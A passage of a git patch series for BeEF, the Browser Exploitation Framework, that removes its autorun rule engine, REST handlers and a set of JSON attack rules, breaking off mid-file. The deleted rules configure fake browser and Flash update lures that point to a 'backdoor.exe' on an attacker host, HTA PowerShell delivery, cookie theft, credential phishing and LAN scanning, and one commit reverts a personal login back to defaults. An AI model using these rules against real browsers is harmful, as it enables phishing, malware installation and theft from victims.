- rescue => e
- print_error("[ARE] Error updating ruleset (#{name}): #{e.message}")
- return { 'success' => false, 'error' => e.message }
- end
-
- existing_rule = BeEF::Core::Models::Rule.where(
- name: name,
- author: author,
- browser: browser,
- browser_version: browser_version,
- os: os,
- os_version: os_version,
- modules: modules.to_json,
- execution_order: execution_order.to_s,
- execution_delay: execution_delay.to_s,
- chain_mode: chain_mode
- ).first
-
- unless existing_rule.nil?
- msg = "Duplicate rule already exists in the database (ID: #{existing_rule.id})"
- print_info("[ARE] Skipping ruleset (#{name}): #{msg}")
- return { 'success' => false, 'error' => msg }
- end
- old_are_rule = BeEF::Core::Models::Rule.find_by(id: id)
-
- old_are_rule.update(
- name: name,
- author: author,
- browser: browser,
- browser_version: browser_version,
- os: os,
- os_version: os_version,
- modules: modules.to_json,
- execution_order: execution_order.to_s,
- execution_delay: execution_delay.to_s,
- chain_mode: chain_mode
- )
-
- print_info("[ARE] Ruleset (#{name}) updated successfully.")
-
- if @debug_on
- print_more "Target Browser: #{browser} (#{browser_version})"
- print_more "Target OS: #{os} (#{os_version})"
- print_more 'Modules to run:'
- modules.each do |mod|
- print_more "(*) Name: #{mod['name']}"
- print_more "(*) Condition: #{mod['condition']}"
- print_more "(*) Code: #{mod['code']}"
- print_more '(*) Options:'
- mod['options'].each do |key, value|
- print_more "\t#{key}: (#{value})"
- end
- end
- print_more "Exec order: #{execution_order}"
- print_more "Exec delay: #{exec_delay}"
- end
-
- { 'success' => true }
- rescue TypeError, ArgumentError => e
- print_error("[ARE] Failed to update ruleset (#{name}): #{e.message}")
- { 'success' => false, 'error' => e.message }
- end
-
- # Load an ARE ruleset from file
- # @param [String] JSON ARE ruleset file path
- def load_rule_file(json_rule_path)
- rule_file = File.open(json_rule_path, 'r:UTF-8', &:read)
- self.load_rule_json(JSON.parse(rule_file))
- rescue => e
- print_error("[ARE] Failed to load ruleset from #{json_rule_path}: #{e.message}")
- end
-
- # Load all JSON ARE rule files from arerules/enabled/ directory
- def load_directory
- Dir.glob("#{$root_dir}/arerules/enabled/**/*.json") do |rule_file|
- print_debug("[ARE] Processing ruleset file: #{rule_file}")
- load_rule_file(rule_file)
- end
- end
- end
- end
- end
-end
diff --git a/core/main/handlers/browserdetails.rb b/core/main/handlers/browserdetails.rb
index 3d02f2225..4d75411b2 100644
--- a/core/main/handlers/browserdetails.rb
+++ b/core/main/handlers/browserdetails.rb
@@ -557,10 +557,6 @@ module BeEF
BeEF::Core::Models::NetworkHost.create(hooked_browser_id: session_id, ip: '127.0.0.1', hostname: 'localhost',
os: BeEF::Core::Models::BrowserDetails.get(session_id, 'host.os.name'))
end
-
- # check if any ARE rules shall be triggered only if the channel is != WebSockets (XHR). If the channel
- # is WebSockets, then ARe rules are triggered after channel is established.
- BeEF::Core::AutorunEngine::Engine.instance.find_and_run_all_matching_rules_for_zombie(zombie.id) unless config.get('beef.http.websocket.enable')
end
def get_param(query, key)
diff --git a/core/main/models/execution.rb b/core/main/models/execution.rb
deleted file mode 100644
index 199104795..000000000
--- a/core/main/models/execution.rb
+++ /dev/null
@@ -1,14 +0,0 @@
-#
-# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
-# Browser Exploitation Framework (BeEF) - https://beefproject.com
-# See the file 'doc/COPYING' for copying permission
-#
-
-module BeEF
- module Core
- module Models # @note Stored info about the execution of the ARE on hooked browsers.
- class Execution < BeEF::Core::Model
- end
- end
- end
-end
diff --git a/core/main/models/rule.rb b/core/main/models/rule.rb
deleted file mode 100644
index e56bb4d2a..000000000
--- a/core/main/models/rule.rb
+++ /dev/null
@@ -1,16 +0,0 @@
-#
-# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
-# Browser Exploitation Framework (BeEF) - https://beefproject.com
-# See the file 'doc/COPYING' for copying permission
-#
-
-module BeEF
- module Core
- module Models
- # @note Table stores the rules for the Distributed Engine.
- class Rule < BeEF::Core::Model
- has_many :executions
- end
- end
- end
-end
diff --git a/core/main/network_stack/websocket/websocket.rb b/core/main/network_stack/websocket/websocket.rb
index b0399532a..3ccea20aa 100644
--- a/core/main/network_stack/websocket/websocket.rb
+++ b/core/main/network_stack/websocket/websocket.rb
@@ -108,12 +108,9 @@ module BeEF
hooked_browser = BeEF::Core::Models::HookedBrowser.where(session: hb_session).first
if hooked_browser.nil?
print_error '[WebSocket] Fingerprinting not finished yet.'
- print_more 'ARE rules were not triggered. You may want to trigger them manually via REST API.'
next
end
- BeEF::Core::AutorunEngine::Engine.instance.find_and_run_all_matching_rules_for_zombie(hooked_browser.id)
-
next
end
@@ -140,15 +137,6 @@ module BeEF
zombie_commands = BeEF::Core::Models::Command.where(hooked_browser_id: hooked_browser.id, instructions_sent: false)
zombie_commands.each { |command| add_command_instructions(command, hooked_browser) }
- # Check if there are any ARE rules to be triggered. If is_sent=false rules are triggered
- are_body = ''
- are_executions = BeEF::Core::Models::Execution.where(is_sent: false, session_id: hooked_browser.session)
- are_executions.each do |are_exec|
- are_body += are_exec.mod_body
- are_exec.update(is_sent: true, exec_time: Time.new.to_i)
- end
- @@activeSocket[hooked_browser.session].send(are_body) unless are_body.empty?
-
# @todo antisnatchor:
# @todo - re-use the pre_hook_send callback mechanisms to have a generic check for multipl extensions
# Check if new forged requests need to be sent (Requester/TunnelingProxy)
diff --git a/core/main/rest/handlers/autorun_engine.rb b/core/main/rest/handlers/autorun_engine.rb
deleted file mode 100644
index c2e311067..000000000
--- a/core/main/rest/handlers/autorun_engine.rb
+++ /dev/null
@@ -1,157 +0,0 @@
-#
-# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
-# Browser Exploitation Framework (BeEF) - https://beefproject.com
-# See the file 'doc/COPYING' for copying permission
-#
-
-module BeEF
- module Core
- module Rest
- class AutorunEngine < BeEF::Core::Router::Router
- config = BeEF::Core::Configuration.instance
-
- before do
- error 401 unless params[:token] == config.get('beef.api_token')
- halt 401 unless BeEF::Core::Rest.permitted_source?(request.ip)
- headers 'Content-Type' => 'application/json; charset=UTF-8',
- 'Pragma' => 'no-cache',
- 'Cache-Control' => 'no-cache',
- 'Expires' => '0'
- end
-
- #
- # Get all rules
- #
- get '/rules' do
- rules = BeEF::Core::Models::Rule.all
- {
- 'success' => true,
- 'count' => rules.length,
- 'rules' => rules.to_json
- }.to_json
- rescue StandardError => e
- print_error("Internal error while retrieving Autorun rules: #{e.message}")
- halt 500
- end
-
- # Returns a specific rule by ID
- get '/rule/:rule_id' do
- rule_id = params[:rule_id]
-
- rule = BeEF::Core::Models::Rule.find(rule_id)
- raise InvalidParameterError, 'id' if rule.nil?
-
- halt 404 if rule.empty?
-
- rule.to_json
- rescue InvalidParameterError => e
- print_error e.message
- halt 400
- rescue StandardError => e
- print_error "Internal error while retrieving Autorun rule with id #{rule_id} (#{e.message})"
- halt 500
- end
-
- #
- # Add a new ruleset. Return the rule_id if request was successful.
- # @return [Integer] rule ID
- #
- post '/rule/add' do
- request.body.rewind
- data = JSON.parse request.body.read
- rloader = BeEF::Core::AutorunEngine::RuleLoader.instance
- rloader.load_rule_json(data).to_json
- rescue StandardError => e
- print_error "Internal error while adding Autorun rule: #{e.message}"
- { 'success' => false, 'error' => e.message }.to_json
- end
-
- #
- # Delete a ruleset
- #
- delete '/rule/:rule_id' do
- rule_id = params[:rule_id]
- rule = BeEF::Core::Models::Rule.find(rule_id)
- raise InvalidParameterError, 'id' if rule.nil?
- rule.destroy
-
- { 'success' => true }.to_json
- rescue InvalidParameterError => e
- print_error e.message
- halt 400
- rescue StandardError => e
- print_error "Internal error while deleting Autorun rule: #{e.message}"
- { 'success' => false, 'error' => e.message }.to_json
- end
-
- #
- # Update a ruleset
- #
- patch '/rule/:rule_id' do
- rule_id = params[:rule_id]
- rule = BeEF::Core::Models::Rule.find(rule_id)
- raise InvalidParameterError, 'id' if rule.nil?
- data = JSON.parse request.body.read
- rloader = BeEF::Core::AutorunEngine::RuleLoader.instance
- rloader.update_rule_json(rule_id, data)
-
- { 'success' => true }.to_json
- rescue InvalidParameterError => e
- print_error e.message
- halt 400
- rescue StandardError => e
- print_error "Internal error while updating Autorun rule: #{e.message}"
- { 'success' => false, 'error' => e.message }.to_json
- end
-
- #
- # Run a specified rule on all online hooked browsers (if the zombie matches the rule).
- # Offline hooked browsers are ignored
- #
- get '/run/:rule_id' do
- rule_id = params[:rule_id]
-
- online_hooks = BeEF::Core::Models::HookedBrowser.where('lastseen >= ?', (Time.new.to_i - 15))
-
- if online_hooks.nil?
- return { 'success' => false, 'error' => 'There are currently no hooked browsers online.' }.to_json
- end
-
- are = BeEF::Core::AutorunEngine::Engine.instance
- online_hooks.each do |hb|
- are.run_matching_rules_on_zombie(rule_id, hb.id)
- end
-
- { 'success' => true }.to_json
- rescue StandardError => e
- msg = "Could not trigger rules: #{e.message}"
- print_error "[ARE] #{msg}"
- { 'success' => false, 'error' => msg }.to_json
- end
-
- #
- # Run a specified rule on the specified hooked browser.
- #
- get '/run/:rule_id/:hb_id' do
- rule_id = params[:rule_id]
- hb_id = params[:hb_id]
-
- raise InvalidParameterError, 'rule_id' if rule_id.nil?
- raise InvalidParameterError, 'hb_id' if hb_id.nil?
-
- are = BeEF::Core::AutorunEngine::Engine.instance
- are.run_matching_rules_on_zombie(rule_id, hb_id)
-
- { 'success' => true }.to_json
- rescue InvalidParameterError => e
- print_error e.message
- halt 400
- rescue StandardError => e
- msg = "Could not trigger rule: #{e.message}"
- print_error "[ARE] #{msg}"
- { 'success' => false, 'error' => msg }.to_json
- end
- end
- end
- end
-end
diff --git a/spec/beef/core/main/autorun_engine/autorun_engine_spec.rb b/spec/beef/core/main/autorun_engine/autorun_engine_spec.rb
deleted file mode 100644
index dfe287d0b..000000000
--- a/spec/beef/core/main/autorun_engine/autorun_engine_spec.rb
+++ /dev/null
@@ -1,120 +0,0 @@
-#
-# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
-# Browser Exploitation Framework (BeEF) - https://beefproject.com
-# See the file 'doc/COPYING' for copying permission
-#
-
-require 'rest-client'
-require 'json'
-require_relative '../../../../spec_helper'
-require_relative '../../../../support/constants'
-require_relative '../../../../support/beef_test'
-
-RSpec.describe 'AutoRunEngine Test', run_on_browserstack: true do
- before(:all) do
- @__ar_config_snapshot = SpecActiveRecordConnection.snapshot
- @config = BeEF::Core::Configuration.instance
-
- # Grab DB file and regenerate if requested
- print_info 'Loading database'
- db_file = @config.get('beef.database.file')
- print_info 'Resetting the database for BeEF.'
-
- if ENV['RESET_DB']
- File.delete(db_file) if File.exist?(db_file)
- end
-
- @config.set('beef.credentials.user', 'beef')
- @config.set('beef.credentials.passwd', 'beef')
- @username = @config.get('beef.credentials.user')
- @password = @config.get('beef.credentials.passwd')
-
- # Load BeEF extensions and modules
- # Always load Extensions, as previous changes to the config from other tests may affect
- # whether or not this test passes.
- print_info 'Loading in BeEF::Extensions'
- BeEF::Extensions.load
-
- # Check if modules already loaded. No need to reload.
- if @config.get('beef.module').nil?
- print_info 'Loading in BeEF::Modules'
- BeEF::Modules.load
- else
- print_info 'Modules already loaded'
- end
-
-
- # Load up DB and migrate if necessary
- ActiveRecord::Base.logger = nil
- OTR::ActiveRecord.configure_from_hash!(adapter: 'sqlite3', database: db_file)
- # otr-activerecord require you to manually establish the connection with the following line
- #Also a check to confirm that the correct Gem version is installed to require it, likely easier for old systems.
- if Gem.loaded_specs['otr-activerecord'].version > Gem::Version.create('1.4.2')
- OTR::ActiveRecord.establish_connection!
- end
- ActiveRecord::Migrator.migrations_paths = [File.join('core', 'main', 'ar-migrations')]
- MUTEX.synchronize do
- context = ActiveRecord::MigrationContext.new(ActiveRecord::Migrator.migrations_paths)
- if context.needs_migration?
- ActiveRecord::Migrator.new(:up, context.migrations, context.schema_migration, context.internal_metadata).migrate
- end
- end
-
- BeEF::Core::Migration.instance.update_db!
-
- # add AutoRunEngine rule
- test_rule = { 'name' => 'Display an alert', 'author' => 'mgeeky', 'browser' => 'ALL', 'browser_version' => 'ALL', 'os' => 'ALL', 'os_version' => 'ALL', 'modules' => [{ 'name' => 'alert_dialog', 'condition' => nil, 'options' => { 'text' => "You've been BeEFed ;>" } }], 'execution_order' => [0], 'execution_delay' => [0], 'chain_mode' => 'sequential' }
-
- BeEF::Core::AutorunEngine::RuleLoader.instance.load_directory
- # are_engine.R
-
- # Spawn HTTP Server
- print_info 'Starting HTTP Hook Server'
- http_hook_server = BeEF::Core::Server.instance
-
- # Generate a token for the server to respond with
- @token = BeEF::Core::Crypto.api_token
-
- # ***** IMPORTANT: close any and all AR/OTR connections before forking *****
- disconnect_all_active_record!
-
- # Initiate server start-up
- @pid = fork do
- http_hook_server.prepare
- BeEF::API::Registrar.instance.fire(BeEF::API::Server, 'pre_http_start', http_hook_server)
- http_hook_server.start
- end
-
- begin
- @caps = CONFIG['common_caps'].merge(CONFIG['browser_caps'][TASK_ID])
- @caps['name'] = self.class.description || ENV['name'] || 'no-name'
- @caps['browserstack.local'] = true
- @caps['browserstack.localIdentifier'] = ENV['BROWSERSTACK_LOCAL_IDENTIFIER']
-
- @driver = Selenium::WebDriver.for(:remote,
- url: "http://#{CONFIG['user']}:#{CONFIG['key']}@#{CONFIG['server']}/wd/hub",
- options: @caps)
- # Hook new victim
- print_info 'Hooking a new victim, waiting a few seconds...'
- wait = Selenium::WebDriver::Wait.new(timeout: 30) # seconds
-
- @driver.navigate.to VICTIM_URL.to_s
-
- sleep 1
-
- sleep 1 until wait.until { @driver.execute_script('return window.beef.session.get_hook_session_id().length') > 0 }
-
- @session = @driver.execute_script('return window.beef.session.get_hook_session_id()')
- end
- end
-
- after(:all) do
- server_teardown(@driver, @pid, @pids)
- disconnect_all_active_record!
- SpecActiveRecordConnection.restore!(@__ar_config_snapshot)
- end
-
- it 'AutoRunEngine is working' do
- expect(@session).not_to be_nil
- end
-end
From de30c65d7e332b91d17c92a495b08279d6155053 Mon Sep 17 00:00:00 2001
From: kaitoozawa
Date: Sat, 27 Dec 2025 16:18:50 +1000
Subject: [PATCH 05/20] Revert credential changes for config.yaml
---
config.yaml | 4 ++--
1 file changed, 2 insertions(+), 2 deletions(-)
diff --git a/config.yaml b/config.yaml
index 5500d2f51..d054bd66f 100644
--- a/config.yaml
+++ b/config.yaml
@@ -17,8 +17,8 @@ beef:
# Credentials to authenticate in BeEF.
# Used by both the RESTful API and the Admin interface
credentials:
- user: "kaitoozawa"
- passwd: "brisbane"
+ user: "beef"
+ passwd: "beef"
# Interface / IP restrictions
restrictions:
From a9de1fad61e7b801108881465669f62cea51f540 Mon Sep 17 00:00:00 2001
From: kaitoozawa
Date: Sat, 27 Dec 2025 16:42:36 +1000
Subject: [PATCH 06/20] Phase 5: Remove Configuration and Assets
---
arerules/alert.json | 14 --------
arerules/c_osx_test-return-mods.json | 35 -------------------
arerules/confirm_close_tab.json | 16 ---------
arerules/enabled/README | 2 --
arerules/ff_osx_extension-dropper.json | 19 ----------
arerules/get_cookie.json | 14 --------
arerules/ie_win_fakenotification-clippy.json | 31 ----------------
arerules/ie_win_htapowershell.json | 26 --------------
arerules/ie_win_missingflash-prettytheft.json | 27 --------------
arerules/ie_win_test-return-mods.json | 35 -------------------
arerules/lan_cors_scan.json | 25 -------------
arerules/lan_cors_scan_common.json | 19 ----------
arerules/lan_fingerprint.json | 25 -------------
arerules/lan_fingerprint_common.json | 19 ----------
arerules/lan_flash_scan.json | 24 -------------
arerules/lan_flash_scan_common.json | 19 ----------
arerules/lan_http_scan.json | 25 -------------
arerules/lan_http_scan_common.json | 19 ----------
arerules/lan_ping_sweep.json | 22 ------------
arerules/lan_ping_sweep_common.json | 17 ---------
arerules/lan_port_scan.json | 25 -------------
arerules/lan_sw_port_scan.json | 21 -----------
arerules/man_in_the_browser.json | 13 -------
arerules/raw_javascript.json | 15 --------
arerules/record_snapshots.json | 15 --------
arerules/win_fake_malware.json | 35 -------------------
config.yaml | 13 -------
core/main/handlers/hookedbrowsers.rb | 7 ----
core/main/rest/api.rb | 7 ----
29 files changed, 584 deletions(-)
delete mode 100644 arerules/alert.json
delete mode 100644 arerules/c_osx_test-return-mods.json
delete mode 100644 arerules/confirm_close_tab.json
delete mode 100644 arerules/enabled/README
delete mode 100644 arerules/ff_osx_extension-dropper.json
delete mode 100644 arerules/get_cookie.json
delete mode 100644 arerules/ie_win_fakenotification-clippy.json
delete mode 100644 arerules/ie_win_htapowershell.json
delete mode 100644 arerules/ie_win_missingflash-prettytheft.json
delete mode 100644 arerules/ie_win_test-return-mods.json
delete mode 100644 arerules/lan_cors_scan.json
delete mode 100644 arerules/lan_cors_scan_common.json
delete mode 100644 arerules/lan_fingerprint.json
delete mode 100644 arerules/lan_fingerprint_common.json
delete mode 100644 arerules/lan_flash_scan.json
delete mode 100644 arerules/lan_flash_scan_common.json
delete mode 100644 arerules/lan_http_scan.json
delete mode 100644 arerules/lan_http_scan_common.json
delete mode 100644 arerules/lan_ping_sweep.json
delete mode 100644 arerules/lan_ping_sweep_common.json
delete mode 100644 arerules/lan_port_scan.json
delete mode 100644 arerules/lan_sw_port_scan.json
delete mode 100644 arerules/man_in_the_browser.json
delete mode 100644 arerules/raw_javascript.json
delete mode 100644 arerules/record_snapshots.json
delete mode 100644 arerules/win_fake_malware.json
diff --git a/arerules/alert.json b/arerules/alert.json
deleted file mode 100644
index 0f6e537db..000000000
--- a/arerules/alert.json
+++ /dev/null
@@ -1,14 +0,0 @@
-{"name": "Display an alert",
- "author": "mgeeky",
- "modules": [
- {"name": "alert_dialog",
- "condition": null,
- "options": {
- "text":"You've been BeEFed ;>"
- }
- }
- ],
- "execution_order": [0],
- "execution_delay": [0],
- "chain_mode": "sequential"
-}
diff --git a/arerules/c_osx_test-return-mods.json b/arerules/c_osx_test-return-mods.json
deleted file mode 100644
index 684d05c6f..000000000
--- a/arerules/c_osx_test-return-mods.json
+++ /dev/null
@@ -1,35 +0,0 @@
-{
- "name": "Test return debug stuff",
- "author": "antisnatchor",
- "browser": "S",
- "browser_version": ">= 7",
- "os": "OSX",
- "os_version": "<= 10.10",
- "modules": [{
- "name": "test_return_ascii_chars",
- "condition": null,
- "options": {}
- }, {
- "name": "test_return_long_string",
- "condition": "status==1",
- "code": "var mod_input=test_return_ascii_chars_mod_output + '--(CICCIO)--';",
- "options": {
- "repeat": "10",
- "repeat_string": "<>"
- }
- },
- {
- "name": "alert_dialog",
- "condition": "status=1",
- "code": "var mod_input=test_return_long_string_mod_output + '--(PASTICCIO)--';",
- "options":{"text":"<>"}
- },
- {
- "name": "get_page_html",
- "condition": null,
- "options": {}
- }],
- "execution_order": [0, 1, 2, 3],
- "execution_delay": [0, 0, 0, 0],
- "chain_mode": "nested-forward"
-}
\ No newline at end of file
diff --git a/arerules/confirm_close_tab.json b/arerules/confirm_close_tab.json
deleted file mode 100644
index c3a4a65a7..000000000
--- a/arerules/confirm_close_tab.json
+++ /dev/null
@@ -1,16 +0,0 @@
-{"name": "Confirm Close Tab",
- "author": "mgeeky",
- "modules": [
- {"name": "confirm_close_tab",
- "condition": null,
- "code": null,
- "options": {
- "text":"Are you sure you want to navigate away from this page?",
- "usePopUnder":"true"
- }
- }
- ],
- "execution_order": [0],
- "execution_delay": [0],
- "chain_mode": "sequential"
-}
diff --git a/arerules/enabled/README b/arerules/enabled/README
deleted file mode 100644
index dee3c03d2..000000000
--- a/arerules/enabled/README
+++ /dev/null
@@ -1,2 +0,0 @@
-Move here the ARE rule files that you want to pre-load when BeEF starts.
-Make sure they are .json files (any other file extension is ignored).
\ No newline at end of file
diff --git a/arerules/ff_osx_extension-dropper.json b/arerules/ff_osx_extension-dropper.json
deleted file mode 100644
index 4c6b388af..000000000
--- a/arerules/ff_osx_extension-dropper.json
+++ /dev/null
@@ -1,19 +0,0 @@
-{
- "name": "Firefox Extension Dropper",
- "author": "antisnatchor",
- "browser": "FF",
- "os": "OSX",
- "os_version": ">= 10.8",
- "modules": [{
- "name": "firefox_extension_dropper",
- "condition": null,
- "options": {
- "extension_name": "Ummeneske",
- "xpi_name": "Ummeneske",
- "base_host": "http://172.16.45.1:3000"
- }
- }],
- "execution_order": [0],
- "execution_delay": [0],
- "chain_mode": "sequential"
-}
diff --git a/arerules/get_cookie.json b/arerules/get_cookie.json
deleted file mode 100644
index 42e7cf433..000000000
--- a/arerules/get_cookie.json
+++ /dev/null
@@ -1,14 +0,0 @@
-{
- "name": "Get Cookie",
- "author": "@benichmt1",
- "modules": [
- {"name": "get_cookie",
- "condition": null,
- "options": {
- }
- }
- ],
- "execution_order": [0],
- "execution_delay": [0],
- "chain_mode": "sequential"
-}
diff --git a/arerules/ie_win_fakenotification-clippy.json b/arerules/ie_win_fakenotification-clippy.json
deleted file mode 100644
index 22f8cbbdc..000000000
--- a/arerules/ie_win_fakenotification-clippy.json
+++ /dev/null
@@ -1,31 +0,0 @@
-{
- "name": "Ie Fake Notification + Clippy",
- "author": "antisnatchor",
- "browser": "IE",
- "browser_version": "== 11",
- "os": "Windows",
- "os_version": ">= 7",
- "modules": [
- {
- "name": "fake_notification",
- "condition": null,
- "options": {
- "notification_text":"Internet Explorer SECURITY NOTIFICATION: your browser is outdated and vulnerable to critical security vulnerabilities like CVE-2015-009 and CVE-2014-879. Please update it."
- }
- }
- ,{
- "name": "clippy",
- "condition": null,
- "options": {
- "clippydir": "http://172.16.45.1:3000/clippy/",
- "askusertext": "Your browser appears to be out of date. Would you like to upgrade it?",
- "executeyes": "http://172.16.45.1:3000/updates/backdoor.exe",
- "respawntime":"5000",
- "thankyoumessage":"Thanks for upgrading your browser! Look forward to a safer, faster web!"
- }
- }
- ],
- "execution_order": [0,1],
- "execution_delay": [0,2000],
- "chain_mode": "sequential"
-}
diff --git a/arerules/ie_win_htapowershell.json b/arerules/ie_win_htapowershell.json
deleted file mode 100644
index d0c477698..000000000
--- a/arerules/ie_win_htapowershell.json
+++ /dev/null
@@ -1,26 +0,0 @@
-{
- "name": "HTA PowerShell",
- "author": "antisnatchor",
- "browser": "IE",
- "os": "Windows",
- "os_version": ">= 7",
- "modules": [
- {
- "name": "fake_notification",
- "condition": null,
- "options": {
- "notification_text":"Internet Explorer SECURITY NOTIFICATION: your browser is outdated and vulnerable to critical security vulnerabilities like CVE-2015-009 and CVE-2014-879. Please apply the Microsoft Update below:"
- }
- },
- {
- "name": "hta_powershell",
- "condition": null,
- "options": {
- "domain":"http://172.16.45.1:3000",
- "ps_url":"/ps"
- }
- }],
- "execution_order": [0,1],
- "execution_delay": [0,500],
- "chain_mode": "sequential"
-}
diff --git a/arerules/ie_win_missingflash-prettytheft.json b/arerules/ie_win_missingflash-prettytheft.json
deleted file mode 100644
index e7620f677..000000000
--- a/arerules/ie_win_missingflash-prettytheft.json
+++ /dev/null
@@ -1,27 +0,0 @@
-{
- "name": "Fake missing plugin + Pretty Theft LinkedIn",
- "author": "antisnatchor",
- "browser": "IE",
- "browser_version": ">= 8",
- "os": "Windows",
- "os_version": "== XP",
- "modules": [{
- "name": "fake_notification_c",
- "condition": null,
- "options": {
- "url": "http://172.16.45.1:3000/updates/backdoor.exe",
- "notification_text": "The version of the Adobe Flash plugin is outdated and does not include the latest security updates. Please ignore the missing signature, we at Adobe are working on it. "
- }
- }, {
- "name": "pretty_theft",
- "condition": null,
- "options": {
- "choice": "Windows",
- "backing": "Grey",
- "imgsauce": "http://172.16.45.1:3000/ui/media/images/beef.png"
- }
- }],
- "execution_order": [0, 1],
- "execution_delay": [0, 5000],
- "chain_mode": "sequential"
-}
\ No newline at end of file
diff --git a/arerules/ie_win_test-return-mods.json b/arerules/ie_win_test-return-mods.json
deleted file mode 100644
index 657bb2026..000000000
--- a/arerules/ie_win_test-return-mods.json
+++ /dev/null
@@ -1,35 +0,0 @@
-{
- "name": "Test return debug stuff",
- "author": "antisnatchor",
- "browser": "IE",
- "browser_version": "<= 8",
- "os": "Windows",
- "os_version": ">= XP",
- "modules": [{
- "name": "test_return_ascii_chars",
- "condition": null,
- "options": {}
- }, {
- "name": "test_return_long_string",
- "condition": "status==1",
- "code": "var mod_input=test_return_ascii_chars_mod_output + '--CICCIO--';",
- "options": {
- "repeat": "10",
- "repeat_string": "<>"
- }
- },
- {
- "name": "alert_dialog",
- "condition": "status=1",
- "code": "var mod_input=test_return_long_string_mod_output + '--PASTICCIO--';",
- "options":{"text":"<>"}
- },
- {
- "name": "get_page_html",
- "condition": null,
- "options": {}
- }],
- "execution_order": [0, 1, 2, 3],
- "execution_delay": [0, 0, 0, 0],
- "chain_mode": "nested-forward"
-}
\ No newline at end of file
diff --git a/arerules/lan_cors_scan.json b/arerules/lan_cors_scan.json
deleted file mode 100644
index 2d75b561f..000000000
--- a/arerules/lan_cors_scan.json
+++ /dev/null
@@ -1,25 +0,0 @@
-{"name": "LAN CORS Scan",
- "author": "bcoles",
- "browser": ["FF", "C"],
- "modules": [
- {"name": "get_internal_ip_webrtc",
- "condition": null,
- "code": null,
- "options": {}
- },
- {"name": "cross_origin_scanner_cors",
- "condition": "status==1",
- "code": "var s=get_internal_ip_webrtc_mod_output.split('.');var start = s[0]+'.'+s[1]+'.'+s[2]+'.1'; var end = s[0]+'.'+s[1]+'.'+s[2]+'.255'; var mod_input = start+'-'+end;",
- "options": {
- "ipRange":"<>",
- "ports":"80,8080",
- "threads":"2",
- "wait":"2",
- "timeout":"10"
- }
- }
- ],
- "execution_order": [0, 1],
- "execution_delay": [0, 0],
- "chain_mode": "nested-forward"
-}
diff --git a/arerules/lan_cors_scan_common.json b/arerules/lan_cors_scan_common.json
deleted file mode 100644
index 51f994e04..000000000
--- a/arerules/lan_cors_scan_common.json
+++ /dev/null
@@ -1,19 +0,0 @@
-{"name": "LAN CORS Scan (Common IPs)",
- "author": "bcoles",
- "modules": [
- {"name": "cross_origin_scanner_cors",
- "condition": null,
- "code": null,
- "options": {
- "ipRange":"common",
- "ports":"80,8080",
- "threads":"2",
- "wait":"2",
- "timeout":"10"
- }
- }
- ],
- "execution_order": [0],
- "execution_delay": [0],
- "chain_mode": "sequential"
-}
diff --git a/arerules/lan_fingerprint.json b/arerules/lan_fingerprint.json
deleted file mode 100644
index b9a6313a4..000000000
--- a/arerules/lan_fingerprint.json
+++ /dev/null
@@ -1,25 +0,0 @@
-{"name": "LAN Fingerprint",
- "author": "bcoles",
- "browser": ["FF", "C"],
- "modules": [
- {"name": "get_internal_ip_webrtc",
- "condition": null,
- "code": null,
- "options": {}
- },
- {"name": "internal_network_fingerprinting",
- "condition": "status==1",
- "code": "var s=get_internal_ip_webrtc_mod_output.split('.');var start = s[0]+'.'+s[1]+'.'+s[2]+'.1'; var end = s[0]+'.'+s[1]+'.'+s[2]+'.255'; var mod_input = start+'-'+end;",
- "options": {
- "ipRange":"<>",
- "ports":"80,8080",
- "threads":"3",
- "wait":"5",
- "timeout":"10"
- }
- }
- ],
- "execution_order": [0, 1],
- "execution_delay": [0, 0],
- "chain_mode": "nested-forward"
-}
diff --git a/arerules/lan_fingerprint_common.json b/arerules/lan_fingerprint_common.json
deleted file mode 100644
index 39d94d7f2..000000000
--- a/arerules/lan_fingerprint_common.json
+++ /dev/null
@@ -1,19 +0,0 @@
-{"name": "LAN Fingerprint (Common IPs)",
- "author": "antisnatchor",
- "modules": [
- {"name": "internal_network_fingerprinting",
- "condition": null,
- "code": null,
- "options": {
- "ipRange":"common",
- "ports":"80,8080",
- "threads":"3",
- "wait":"5",
- "timeout":"10"
- }
- }
- ],
- "execution_order": [0],
- "execution_delay": [0],
- "chain_mode": "sequential"
-}
diff --git a/arerules/lan_flash_scan.json b/arerules/lan_flash_scan.json
deleted file mode 100644
index 2cf38eb2a..000000000
--- a/arerules/lan_flash_scan.json
+++ /dev/null
@@ -1,24 +0,0 @@
-{"name": "LAN Flash Scan",
- "author": "bcoles",
- "browser": ["FF", "C"],
- "modules": [
- {"name": "get_internal_ip_webrtc",
- "condition": null,
- "code": null,
- "options": {}
- },
- {"name": "cross_origin_scanner_flash",
- "condition": "status==1",
- "code": "var s=get_internal_ip_webrtc_mod_output.split('.');var start = s[0]+'.'+s[1]+'.'+s[2]+'.1'; var end = s[0]+'.'+s[1]+'.'+s[2]+'.255'; var mod_input = start+'-'+end;",
- "options": {
- "ipRange":"<>",
- "ports":"80,8080",
- "threads":"2",
- "timeout":"5"
- }
- }
- ],
- "execution_order": [0, 1],
- "execution_delay": [0, 0],
- "chain_mode": "nested-forward"
-}
diff --git a/arerules/lan_flash_scan_common.json b/arerules/lan_flash_scan_common.json
deleted file mode 100644
index 859febf95..000000000
--- a/arerules/lan_flash_scan_common.json
+++ /dev/null
@@ -1,19 +0,0 @@
-{"name": "LAN Flash Scan (Common IPs)",
- "author": "bcoles",
- "browser": ["FF", "C"],
- "modules": [
- {"name": "cross_origin_scanner_flash",
- "condition": null,
- "code": null,
- "options": {
- "ipRange":"common",
- "ports":"80,8080",
- "threads":"2",
- "timeout":"5"
- }
- }
- ],
- "execution_order": [0],
- "execution_delay": [0],
- "chain_mode": "sequential"
-}
diff --git a/arerules/lan_http_scan.json b/arerules/lan_http_scan.json
deleted file mode 100644
index ce900f506..000000000
--- a/arerules/lan_http_scan.json
+++ /dev/null
@@ -1,25 +0,0 @@
-{"name": "LAN HTTP Scan",
- "author": "bcoles",
- "browser": ["FF", "C"],
- "modules": [
- {"name": "get_internal_ip_webrtc",
- "condition": null,
- "code": null,
- "options": {}
- },
- {"name": "get_http_servers",
- "condition": "status==1",
- "code": "var s=get_internal_ip_webrtc_mod_output.split('.');var start = s[0]+'.'+s[1]+'.'+s[2]+'.1'; var end = s[0]+'.'+s[1]+'.'+s[2]+'.255'; var mod_input = start+'-'+end;",
- "options": {
- "rhosts":"<>",
- "ports":"80,8080",
- "threads":"3",
- "wait":"5",
- "timeout":"10"
